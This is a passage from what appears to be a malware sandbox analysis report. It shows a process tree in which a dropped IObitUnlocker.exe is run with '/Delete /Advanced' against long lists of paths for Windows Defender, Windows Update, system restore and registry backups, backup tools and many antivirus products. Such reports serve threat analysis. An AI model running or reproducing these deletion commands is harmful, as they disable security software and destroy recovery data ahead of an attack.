Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                    7⤵
                                    • Executes dropped EXE
                                    • Loads dropped DLL
                                    • System Location Discovery: System Language Discovery
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of SetWindowsHookEx
                                    PID:980
                                  • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                    C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                    7⤵
                                    • Executes dropped EXE
                                    • Loads dropped DLL
                                    • System Location Discovery: System Language Discovery
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of SetWindowsHookEx
                                    PID:4920
                                  • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                    C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows 